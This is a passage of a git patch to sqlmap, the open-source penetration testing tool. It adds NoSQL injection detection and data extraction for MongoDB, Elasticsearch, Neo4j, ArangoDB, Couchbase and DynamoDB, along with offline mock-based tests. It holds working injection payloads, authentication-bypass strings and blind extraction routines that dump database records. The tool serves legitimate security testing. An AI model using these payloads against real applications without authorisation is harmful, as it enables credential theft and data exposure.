_detectNumeric(place, parameter) + if numeric: + dbms, template, bypass = numeric + dump = None + if dbms == "Neo4j": # bind the dump to the injected numeric field (e.g. u.id = 1) + value = (_originalValue(place, parameter) or "1").strip() + dump = lambda: _enumDump(place, parameter, + lambda expr, rb: "%s AND (%s =~ '^%s.*')" % (value, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + return Vector(dbms, None, None, None, template=template, bypass=bypass, dump=dump) + + threshold = _detectWhere(place, parameter) + if threshold is not None: + bound = _constraint(place, parameter, "==", "&&", prefix="d.") + return Vector("MongoDB ($where)", None, None, None, + dump=lambda: _whereDump(place, parameter, bound, threshold)) + + engine = _detectError(place, parameter) + if engine: + return Vector(engine, None, None, None) + + return None + +def _inband(place, parameter, template): + """In-band data exposure gate: returns the always-true response when it carries materially more + (reflected) content than the original request - i.e. the injection is returning extra records + directly - else None""" + + original = _fetchValue(place, parameter, _originalValue(place, parameter) or "1") + if template and len(template) > len(original) and _ratio(template, original) < UPPER_RATIO_BOUND and not re.search(NOSQL_ERROR_REGEX, template): + return template + return None + +def _clean(cell): + cell = re.sub(r"(?s)<[^>]+>", "", cell) + for entity, char in (("&", '&'), ("<", '<'), (">", '>'), (""", '"'), ("'", "'"), ("'", "'")): + cell = cell.replace(entity, char) + return re.sub(r"\s+", " ", cell).strip() + +def _records(page): + """Parses structured records out of a reflected response - a JSON array of objects or an HTML + table - returning (columns, rows) for a tabular dump, else None""" + + try: + data = json.loads(page, object_pairs_hook=OrderedDict) + rows = data if isinstance(data, list) else next((_ for _ in data.values() if isinstance(_, list)), None) if isinstance(data, dict) else None + rows = [_ for _ in (rows or []) if isinstance(_, dict)] + if rows: + columns = [] + for row in rows: + columns.extend(_ for _ in row if _ not in columns) + return columns, [[("NULL" if row[_] is None else _clean("%s" % row[_])) if _ in row else "" for _ in columns] for row in rows] + except (ValueError, TypeError): + pass + + for body in re.findall(r"(?is)]*>(.*?)", page or ""): + header, rows = None, [] + for index, tr in enumerate(re.findall(r"(?is)]*>(.*?)", body)): + cells = re.findall(r"(?is)]*>(.*?)", tr) + if index == 0 and re.search(r"(?i)]", tr): + header = [_clean(_) for _ in cells] + elif cells: + rows.append([_clean(_) for _ in cells]) + if rows: + width = max(len(_) for _ in rows) + columns = header if header and len(header) == width else ["column_%d" % (_ + 1) for _ in xrange(width)] + return columns, [row + [""] * (width - len(row)) for row in rows] + + return None + +def _grid(columns, rows): + """Renders (columns, rows) as a sqlmap-style ASCII table""" + + widths = [max([len(columns[index])] + [len(row[index]) for row in rows if index < len(row)]) for index in xrange(len(columns))] + separator = '+' + '+'.join('-' * (width + 2) for width in widths) + '+' + line = lambda cells: "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + +def _dumpInband(place, key, page): + """Renders in-band records as a regular sqlmap-style table, or falls back to cleaned text""" + + parsed = _records(page) + if parsed: + columns, rows = parsed + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band records [%d]:\n%s" % (place, key, len(rows), _grid(columns, rows))) + else: + text = re.sub(r"\s+", " ", re.sub(r"(?s)<[^>]+>", " ", page)).strip() + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band data: %s" % (place, key, text[:NOSQL_DUMP_LIMIT])) + +def nosqlScan(): + """Entry point for '--nosql': detects NoSQL injection (MongoDB/CouchDB operator, Lucene + query_string, Cypher/N1QL/AQL string break-out, MongoDB $where time-based, or error-based). On a + confirmed point it tries, in order, to (1) dump records exposed in-band by the always-true payload + and (2) blindly recover the targeted field via the regexp/timing oracle""" + + global NOSQL_SENTINEL + NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + + # NoSQL injection from an application-scoped point is confined to the back-end's single query + # (one collection/label) - it confirms and dumps what that query can reach, with no analog to the + # SQL database/table/user/banner enumeration, so those switches do not apply here + infoMsg = "'--nosql' is self-contained: it confirms the injection and dumps the reachable " + infoMsg += "collection/document. SQL enumeration switches (e.g. --banner, --dbs, --tables, " + infoMsg += "--users, --sql-query) do not map to a NoSQL back-end and are ignored" + logger.info(infoMsg) + + tested = found = 0 + + for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + key = _jsonKey(parameter) + + if conf.testParameter and not any(_ in conf.testParameter for _ in (key, parameter)): + continue + + tested += 1 + infoMsg = "testing NoSQL injection on %s parameter '%s'" % (place, key) + logger.info(infoMsg) + + vector = _resolve(place, parameter, key) + if not vector: + continue + + found += 1 + infoMsg = "%s parameter '%s' is vulnerable to NoSQL injection (back-end: '%s')" % (place, key, vector.dbms) + logger.info(infoMsg) + + # standard sqlmap-style injection-point summary (reproducible vector) + if vector.bypass == '{"$ne": null}': + title, payload = "operator injection", "%s[$ne]=%s" % (key, NOSQL_SENTINEL) + elif vector.bypass == '*': + title, payload = "Lucene query_string injection", "%s=*" % key + elif vector.bypass: + context = "numeric" if vector.bypass[:1].isdigit() else "string" + title, payload = "boolean-based blind (%s)" % context, "%s=%s" % (key, vector.bypass) + elif vector.dump is not None: + title, payload = "time-based blind (server-side JavaScript $where)", "%s=' || (sleep loop) || '" % key + else: + title, payload = "error-based", "%s=%s'" % (key, _originalValue(place, parameter) or "1") + report = "---\nParameter: %s (%s)\n Type: NoSQL injection\n Title: %s %s\n Payload: %s\n---" % (key, place, vector.dbms, title, payload) + conf.dumper.singleString(report) + + if vector.bypass: + infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, vector.bypass) + logger.info(infoMsg) + + dumped = False + + # a named whole-document dump is preferred over the unnamed in-band table + if vector.dump is not None: + infoMsg = "retrieving the reachable document(s)" + logger.info(infoMsg) + records = vector.dump() + if records: + columns, rows = records + infoMsg = "dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '') + logger.info(infoMsg) + conf.dumper.singleString("NoSQL: %s parameter '%s' %s:\n%s" % (place, key, "documents" if len(rows) != 1 else "document", _grid(columns, rows))) + dumped = True + + if not dumped and vector.template is not None: + exposure = _inband(place, parameter, vector.template) + if exposure: + infoMsg = "the always-true payload returns additional records (in-band data exposure)" + logger.info(infoMsg) + _dumpInband(place, key, exposure) + dumped = True + + if vector.lengthValue is not None: + value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth) + if value is not None: + conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) + dumped = True + + if not dumped: + if vector.template is None and vector.truth is None and vector.dump is None: + warnMsg = "injection is detection-only for back-end '%s' (no extraction oracle for this engine)" % vector.dbms + else: + warnMsg = "injection on '%s' is confirmed but yielded no data here: this point exposes only a boolean oracle on a non-extractable (e.g. numeric) field. Target a string-compared parameter (e.g. a login/search field) to blindly read a value" % key + logger.warning(warnMsg) + + if not found: + warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested + logger.warning(warnMsg) diff --git a/tests/test_nosql.py b/tests/test_nosql.py new file mode 100644 index 00000000000..3703471f8ce --- /dev/null +++ b/tests/test_nosql.py @@ -0,0 +1,650 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the NoSQL injection engine. Mock oracles stand in for the +HTTP/back-end layer so detection and blind extraction can be exercised without a live target, +covering each dialect: MongoDB/CouchDB operator injection, Elasticsearch/Solr query_string, +Neo4j Cypher and ArangoDB AQL string break-out. +""" + +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.nosql.inject as ni + +SECRET = "S3cr3t_9" +MATCH = "Welcome user; rows: alpha, bravo, charlie" +NOMATCH = "Invalid credentials; no rows" + + +def _mongo(place, parameter, op, value, isArray=False): + if op == "$ne": + return MATCH + if op == "$in": + return NOMATCH + if op == "$regex": + try: + return MATCH if re.match(value, SECRET) is not None else NOMATCH + except re.error: + return "error: invalid regular expression" + return "" + + +def _es(place, parameter, value): + if value == "*": + return MATCH + if value == ni.NOSQL_SENTINEL: + return NOMATCH + if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored + try: + return MATCH if re.match("^(?:%s)$" % value[1:-1], SECRET) is not None else NOMATCH + except re.error: + return "error: parse_exception" + return NOMATCH + + +class TestNoSqlMongo(unittest.TestCase): + def setUp(self): + self._orig = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._orig + + def test_detect(self): + self.assertTrue(ni._detectMongo("GET", "password")) + + def test_extract(self): + template = ni._fetch("GET", "password", "$ne", ni.NOSQL_SENTINEL) + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetch = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectMongo("GET", "password")) + + +class TestNoSqlElasticsearch(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _es + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectES("GET", "q")) + + def test_extract(self): + template = ni._fetchValue("GET", "q", "*") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "q", v), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (ni._lucene(known), klass)) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetchValue = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectES("GET", "q")) + + +def _cypher(place, parameter, value): + if "'1'='1" in value: + return MATCH + if "'1'='2" in value: + return NOMATCH + m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator + if m: + try: + return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + return NOMATCH + + +class TestNoSqlCypher(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _cypher + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectCypher("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' OR '1'='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' OR u.password =~ '^.{%d,}" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' OR u.password =~ '^%s%s.*" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _aql(place, parameter, value): + m = re.search(r"=~ '(\^[^']*)'", value) # the regex body inside =~ '...' + if m: + try: # ArangoDB =~ is a partial (unanchored) match + return MATCH if re.search(m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "'1'=='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlArango(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _aql + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectAQL("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' || '1'=='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' || (u.password =~ '^.{%d,}') || '1'=='2" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' || (u.password =~ '^%s%s') || '1'=='2" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _n1ql(place, parameter, value): + m = re.search(r"REGEXP_CONTAINS\([^,]+, '([^']*)'\)", value) + if m: + try: # model the single-quoted string layer (collapse the doubled backslashes) + return MATCH if re.search(m.group(1).replace("\\\\", "\\"), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "=~" in value: # N1QL has no =~ operator -> engine error + return "error: syntax error near '=~'" + if "'1'='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlN1QL(unittest.TestCase): + """Couchbase N1QL shares the ' OR '1'='1 break-out with Neo4j; _resolve() must disambiguate by the + regexp-match primitive (=~ fails, REGEXP_CONTAINS works) and still extract""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" # keep MongoDB operator detection out of the way + ni._fetchValue = _n1ql + ni.conf.parameters = {"GET": "name=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_disambiguates_couchbase(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "Couchbase") + self.assertEqual(vector.bypass, "' OR '1'='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +def _whereTruth(payload): + # emulate the $where timing oracle: a payload "delays" (=> True) iff its embedded JS condition holds + m = re.search(r"length>=(\d+)", payload) + if m: + return len(SECRET) >= int(m.group(1)) + m = re.search(r"/\^([^/]*)/\.test", payload) + if m: + return re.search("^" + m.group(1), SECRET) is not None + return False + + +class TestNoSqlWhere(unittest.TestCase): + """MongoDB $where time-based: validates the server-side-JS payload shapes and the time-based + extraction loop (timing predicate emulated deterministically)""" + + def setUp(self): + ni.conf.timeSec = 5 + + def test_extract(self): + key = "password" + lengthValue = lambda n: ni._whereDelay("d.%s&&d.%s.length>=%d" % (key, key, n)) + charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key)) + self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET) + + +def _jswhere(place, parameter, value): + # emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint + if " OR " in value or " =~ " in value: # not valid JS -> consistent (non-diverging) error + return "" + m = re.search(r"/(.)/\.test\('x'\)", value) # JS regexp-test disambiguation probe + if m: + return MATCH if re.search(m.group(1), "x") is not None else NOMATCH + m = re.search(r"/\^([^/]*)/\.test\(this\.password\)", value) # value extraction + if m: + try: + return MATCH if re.search("^" + m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + m = re.search(r"length>=(\d+)", value) # length search + if m: + return MATCH if len(SECRET) >= int(m.group(1)) else NOMATCH + if "'1'=='1" in value or "this.password)" in value: # boolean detection / bound always-true template + return MATCH + return NOMATCH + + +class TestNoSqlWhereContent(unittest.TestCase): + """Content-bearing MongoDB $where shares the ' || '1'=='1 break-out with ArangoDB; _resolve() must + disambiguate (AQL '=~' fails, a JS /re/.test() holds) and extract via the content oracle""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _jswhere + ni.conf.parameters = {"GET": "username=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_where_content(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB ($where)") + self.assertEqual(vector.bypass, "' || '1'=='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +class TestNoSqlWhereDump(unittest.TestCase): + """$where whole-document dump: Object.keys(this) enumeration drives name + value recovery for every + field (per-field char recovery itself is covered by TestNoSqlWhere)""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._orig = ni._whereField + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, bound, expr, threshold): + m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr) + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"d\['([^']*)'\]", expr) + if m: + return values.get(m.group(1)) + return None + + ni._whereField = fake + + def tearDown(self): + ni._whereField = self._orig + + def test_dump(self): + columns, rows = ni._whereDump("GET", "password", "", 0) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_empty_document(self): + ni._whereField = lambda *args, **kwargs: None + self.assertIsNone(ni._whereDump("GET", "password", "", 0)) + + +class TestNoSqlEnumDump(unittest.TestCase): + """Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._ef, self._fv = ni._enumField, ni._fetchValue + ni._fetchValue = lambda *args, **kwargs: "Welcome" # non-error single-record template + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, template, payloadFor): + probe = payloadFor("X") # render to inspect the target expression + m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i] + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"u\['([^']*)'\]", probe) # toString/TO_STRING/TOSTRING(u['name']) + if m: + return values.get(m.group(1)) + return None + + ni._enumField = fake + + def tearDown(self): + ni._enumField, ni._fetchValue = self._ef, self._fv + + def _check(self, keysExpr, valueExpr): + makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb) + columns, rows = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_cypher(self): + self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n)) + + def test_aql(self): + self._check(lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % ni._propLiteral(n)) + + def test_n1ql(self): + self._check(lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % ni._propLiteral(n)) + + +class TestNoSqlBypass(unittest.TestCase): + """Confirmed injection must surface the always-true (authentication/filter bypass) payload""" + + def setUp(self): + self._f = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._f + + def test_mongo_bypass(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB") + self.assertEqual(vector.bypass, '{"$ne": null}') + + +class TestNoSqlInband(unittest.TestCase): + """In-band exposure gate: _inband() returns the always-true response only when it carries + materially more reflected content than the original request""" + + def setUp(self): + self._fv = ni._fetchValue + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_exposure_detected(self): + ni._fetchValue = lambda place, parameter, value: "
1luther
" # original (one row) + template = "
1luther
2fluffy
3wu
" + self.assertEqual(ni._inband("GET", "id", template), template) + + def test_no_exposure_when_not_larger(self): + ni._fetchValue = lambda place, parameter, value: "X" * 200 # original (large) + self.assertIsNone(ni._inband("GET", "id", "Welcome")) # always-true smaller -> no dump + + +class TestNoSqlRecords(unittest.TestCase): + """Reflected responses are parsed into (columns, rows) for a regular table dump""" + + def test_html_table_without_header(self): + page = ("Results:" + "" + "
1lutherblisset
2fluffybunny
") + columns, rows = ni._records(page) + self.assertEqual(columns, ["column_1", "column_2", "column_3"]) + self.assertEqual(rows, [["1", "luther", "blisset"], ["2", "fluffy", "bunny"]]) + + def test_html_table_with_header(self): + page = "
iduser
1luther
" + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "user"]) + self.assertEqual(rows, [["1", "luther"]]) + + def test_json_array_of_objects(self): + page = '{"results": [{"id": 1, "username": "luther", "password": null}, {"id": 2, "username": "fluffy"}]}' + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "username", "password"]) + self.assertEqual(rows, [["1", "luther", "NULL"], ["2", "fluffy", ""]]) + + def test_unstructured_returns_none(self): + self.assertIsNone(ni._records("just some prose, no records here")) + + +def _numeric(place, parameter, value): + # numeric-context oracle: 'OR 1=1' is always-true (rows), 'AND 1=2' is false (no rows) + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumeric(unittest.TestCase): + """Numeric-context (unquoted) break-out, e.g. 'WHERE id = ': detected via OR/AND, with the + always-true response carried as the in-band dump template""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numeric + ni.conf.parameters = {"GET": "id=1"} + ni.conf.paramDict = {"GET": {"id": "1"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric(self): + vector = ni._resolve("GET", "id", "id") + self.assertEqual(vector.dbms, "Neo4j") + self.assertEqual(vector.bypass, "1 OR 1=1") + self.assertIsNone(vector.lengthValue) # numeric field -> in-band only, no blind extraction + + def test_skips_non_numeric(self): + ni.conf.parameters = {"GET": "name=luther"} + self.assertIsNone(ni._detectNumeric("GET", "name")) # only applies to a numeric field value + + +def _numericN1ql(place, parameter, value): + # numeric-context Couchbase: OR/AND boolean plus the N1QL-only REGEXP_CONTAINS discriminator + m = re.search(r"REGEXP_CONTAINS\('ab', '([^']*)'\)", value) + if m: + return MATCH if re.search(m.group(1), "ab") is not None else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericN1QL(unittest.TestCase): + """A numeric Couchbase point is disambiguated from Neo4j by the N1QL-only REGEXP_CONTAINS probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericN1ql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_couchbase(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "Couchbase") + self.assertEqual(bypass, "1 OR 1=1") + + +def _numericAql(place, parameter, value): + # numeric-context ArangoDB: only the ||/&& family diverges (OR/AND and REGEXP_CONTAINS do not) + return MATCH if "|| 1==1" in value else NOMATCH + + +class TestNoSqlNumericAQL(unittest.TestCase): + """A numeric ArangoDB point is detected via the ||/&& family once OR/AND yields no divergence""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericAql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_arango(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "ArangoDB") + self.assertEqual(bypass, "1 || 1==1") + + +def _partiql(place, parameter, value): + # DynamoDB PartiQL string-context oracle: 'field >= prefix' matches the bound record iff + # SECRET >= prefix (ordered comparison, the basis of the comparison-bisection extraction); + # 'begins_with(field, prefix)' matches iff SECRET starts with prefix + m = re.search(r">= '(.*)$", value) + if m: + return MATCH if SECRET >= m.group(1).replace("''", "'") else NOMATCH + m = re.search(r"begins_with\([^,]+, '(.*?)'\) OR '1'='2", value) + if m: + return MATCH if SECRET.startswith(m.group(1)) else NOMATCH + return NOMATCH + + +class TestNoSqlPartiQL(unittest.TestCase): + """DynamoDB PartiQL: no regexp engine, so a value is recovered by ordered string comparison + (field >= 'prefix') bisected over the printable-ASCII range""" + + def setUp(self): + self._fv = ni._fetchValue + ni._fetchValue = _partiql + ni.conf.parameters = {"GET": "username=luther&password=x"} + ni.conf.paramDict = {"GET": {"password": "x"}} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_extract(self): + value = ni._partiqlValue("GET", "password", "", "password") + self.assertEqual(value, SECRET) + + def test_dump_binds_sibling(self): + columns, rows = ni._partiqlDump("GET", "password", "password") + self.assertEqual(columns, ["password"]) + self.assertEqual(rows, [[SECRET]]) + + def test_dump_without_sibling_returns_none(self): + ni.conf.parameters = {"GET": "password=x"} # no sibling to pin a single record + ni.conf.paramDict = {"GET": {"password": "x"}} + self.assertIsNone(ni._partiqlDump("GET", "password", "password")) + + +def _numericDdb(place, parameter, value): + # numeric-context DynamoDB: OR/AND boolean plus the PartiQL-only begins_with discriminator + m = re.search(r"begins_with\('ab', '([^']*)'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericDynamoDB(unittest.TestCase): + """A numeric DynamoDB point is disambiguated from Neo4j/Couchbase by the PartiQL-only begins_with probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericDdb + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_dynamodb(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "DynamoDB") + self.assertEqual(bypass, "1 OR 1=1") + + +class TestNoSqlCookiePlace(unittest.TestCase): + """Cookie place: parameters split/join on ';' (not '&') and the segment routes to the Cookie header""" + + def setUp(self): + ni.conf.cookieDel = None + ni.conf.parameters = {ni.PLACE.COOKIE: "session=abc; username=luther; password=x"} + ni.conf.paramDict = {ni.PLACE.COOKIE: {"password": "x"}} + + def test_delimiter(self): + self.assertEqual(ni._delim(ni.PLACE.COOKIE), ";") + self.assertEqual(ni._delim(ni.PLACE.GET), "&") + + def test_original_value(self): + self.assertEqual(ni._originalValue(ni.PLACE.COOKIE, "username").strip(), "luther") + + def test_replace_segment(self): + out = ni._replaceSegment(ni.PLACE.COOKIE, "password", "password[$ne]=zzz") + self.assertIn("session=abc", out) + self.assertIn("username=luther", out) + self.assertIn("password[$ne]=zzz", out) + self.assertEqual(out.count(";"), 2) # 3 segments -> 2 delimiters (no '&') + self.assertNotIn("&", out) + + def test_constraint_binds_siblings(self): + constraint = ni._constraint(ni.PLACE.COOKIE, "password") + self.assertIn("u.session='abc'", constraint) + self.assertIn("u.username='luther'", constraint) + + +class TestNoSqlErrorRegex(unittest.TestCase): + """The heuristic regex must match real back-end error structures, not bare product names (so an + article merely mentioning MongoDB/Elasticsearch/Cassandra is never flagged as injectable)""" + + from lib.core.settings import NOSQL_ERROR_REGEX + + POSITIVES = ( + 'MongoServerError: unknown operator: $foo', + '{"ok":0,"errmsg":"unknown top level operator: $where","code":2,"codeName":"BadValue"}', + 'MongoServerError: Regular expression is invalid: missing )', + 'CastError: Cast to ObjectId failed', + '{"error":"query_parse_error","reason":"Invalid operator: $foo"}', + '{"error":{"root_cause":[{"type":"query_shard_exception","reason":"Failed to parse query [luther\']"}]},"status":400}', + '{"type":"x_content_parse_exception","reason":"[1:18] [bool] failed to parse"}', + '{"error":{"msg":"org.apache.solr.search.SyntaxError: Cannot parse \'username:\'","code":400}}', + "Neo.ClientError.Statement.SyntaxError: Invalid input", + 'Neo4j error: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 30) "MATCH (u:User) WHERE u.id = 1"', + "Neo4j error: Invalid input ''x'': expected an expression, 'FOREACH', 'MATCH', 'MERGE', 'UNWIND', 'WITH' or ", + '{"error":true,"errorNum":1501,"errorMessage":"AQL: syntax error, unexpected quoted string"}', + "ResponseError: line 1:38 no viable alternative at input", + "SyntaxException: line 1:42 mismatched input ''' expecting EOF", + '{"error":{"root_cause":[{"type":"number_format_exception","reason":"For input string"}]},"status":400}', + 'ReplyError: WRONGTYPE Operation against a key holding the wrong kind of value', + 'ReplyError: ERR Error compiling script (new function): user_script:1: unexpected symbol', + 'CLIENT_ERROR bad command line format', + 'error parsing query: found WHERE, expected identifier at line 1', + 'org.apache.phoenix.exception.PhoenixIOException: failed', + ) + + NEGATIVES = ( + "This article explains how MongoDB, CouchDB and Elasticsearch handle queries.", + "Cassandra and Redis are popular NoSQL databases; Neo4j is a graph database.", + "We migrated from Solr to OpenSearch last year. ArangoDB is multi-model.", + "Results:
1luther
", + "Invalid credentials", + ) + + def test_matches_real_errors(self): + for sample in self.POSITIVES: + self.assertIsNotNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should match: %s" % sample) + + def test_ignores_benign_text(self): + for sample in self.NEGATIVES: + self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample) + + +if __name__ == "__main__": + unittest.main() + From f6912fc921cd310bd259bba1df8d8d134a702bfd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 27 Jun 2026 19:23:30 +0200 Subject: [PATCH 616/853] Adding support for GraphQL (--graphql) --- data/txt/sha256sums.txt | 17 +- extra/vulnserver/vulnserver.py | 255 ++++++ lib/controller/checks.py | 8 + lib/controller/controller.py | 13 + lib/core/optiondict.py | 1 + lib/core/settings.py | 64 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/graphql/__init__.py | 8 + lib/techniques/graphql/inject.py | 1165 ++++++++++++++++++++++++++++ tests/test_graphql.py | 680 ++++++++++++++++ 11 files changed, 2207 insertions(+), 8 deletions(-) create mode 100644 lib/techniques/graphql/__init__.py create mode 100644 lib/techniques/graphql/inject.py create mode 100644 tests/test_graphql.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index eecb2bff2a9..c27f6cf1b73 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 